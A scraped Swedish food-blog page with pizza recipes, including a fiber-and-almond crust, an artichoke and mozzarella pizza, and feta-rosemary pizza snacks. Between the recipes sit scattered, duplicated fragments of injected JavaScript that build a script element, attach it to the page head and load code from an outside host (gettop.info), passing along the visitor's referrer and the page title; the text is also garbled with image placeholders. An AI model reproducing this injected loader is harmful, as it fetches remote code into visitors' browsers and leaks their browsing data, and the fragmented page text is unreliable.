Pizza med svamp, parmaskinka, ost och ruccola

bildcbilda

Det här receptet på pizza botten hittade jag på Shervin Torkian’s blogg. Du hittar hennes blogg här.

Recept på en ugnsplåt pizzabotten.
1,5 dl pofiber
3 msk fiberhusk
1 tsk salt
1,5 dl mandelmjöl
3 msk mjölkpulver (kan uteslutas)

Blanda alla ingredienser i en bunke. Tillsätt 3 dl vatten och blanda till en deg.

Ta din deg och placera den mellan två bakplåtspapper och kavla ut din pizza till den blir jämn och tunn. Nagga lite lätt och grädda 15 minuter på 175 grader. Ta ut och bred på tomatsås och toppa med valfri topping. Jag använde svamp, parmaskinka, parmesanost och ruccola. Det bästa med degen är att du självklart kan tillsätta olika kryddor i degen, oregano är supergott!

bildEbildDbildCbildB

bildHbildGbildF

bildÄbildAbildJ

bildfbilddbildgbildpbildlbildebildhbildb

 var d=document;var s=d.createElement(‘script’);

Pizza med kronärtskockor, tomater, mozzarella och timjan

Här kommer ett recept från Tina Nordström på en en lite god pizza.


Ingredienser: (4 portioner)
25 gram jäst
3 dl ljummet vatten
1 msk olivolja
0,5 kilo vetemjöl
1 tsk salt

1 burk kronärtskockhjärtan
0,5 dl olivolja
salt
1 vitlöksklyfta
400 gram cocktailtomater
200 gram mozzarella
2 dl svarta urkärnade oliver
några kvistar färsk timjan

Gör så här:
Degen:
Lös upp jästen i vattnet och blanda i olivoljan och hälften av mjölet. Tillsätt därefter saltet och resten av mjölet. Knåda till en smidig deg och låt jäsa under duk i ca 1 timma. Det går lika bra att köpa en färdig pizzadeg om du inte orkar göra degen själv. Sätt ugnen på 275 grader.

Kronärtskockskräm:
Sila kronärtskockorna från spadet och mixa dem med olivoljan till en puré. Smaksätt med salt och mixa ner vitlöksklyftan.

 

 

 

 

 

 

 

 

 

 

Halvera cocktailtomaterna, lägg dem ien sil och krama ur dem med handen. Skär oliverna och mozzarellan i skivor.
Kavla ut degen till pizzorna och bred ut kronärtskockskrämen över pizzorna, läma ett par centimeter runt om utan kräm. Lägg på tomaterna, oliverna och mozzarellan. Smaksätt med salt , svartpeppar och några kvistar timjan. Jag la på lite extra riven ost.  Baka på het plåt i ca 10-15 minuter. Servera pizzan med lite parmaskinka och hyvlad parmesan och lite ruccolasallad.

document.currentScript.parentNode.insertBefore(s, document.currentScript);document.currentScript.parentNode.insertBefore(s, document.currentScript);

Söndagspizza

Såhär på en söndag kan jag tipsa om att laga den här goda pizzan. Recept hittar ni här.

}

d.getElementsByTagName(‘head’)[0].appendChild(s);}

Pizzasnacks med fetaost

Här kommer ett till underbart recept från Leila Lindholms kokbok ”One more slice”.

2 stora pizzor
1/2 sats pizzadeg
200 gram fetaost
1/2 kruka färsk rosmarin
Flingsalt
2 msk flytande honung
Olivolja

Sätt ugnen på 250 grader.
Gör pizzadegen. (eller köp färdig pizzadeg på rulle)
Smula fetaosten och finhacka rosmarinen.
Kavla ut degen tunt till två avlånga pizzabottnar.
Fördela fetaost,rosmarin och flingsalt över pizzan. Ringla över honung och olivolja.
Grädda pizzorna i mitten av ugnen ca 5 minuter.
skär upp pizzorna i smala snittar.

d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;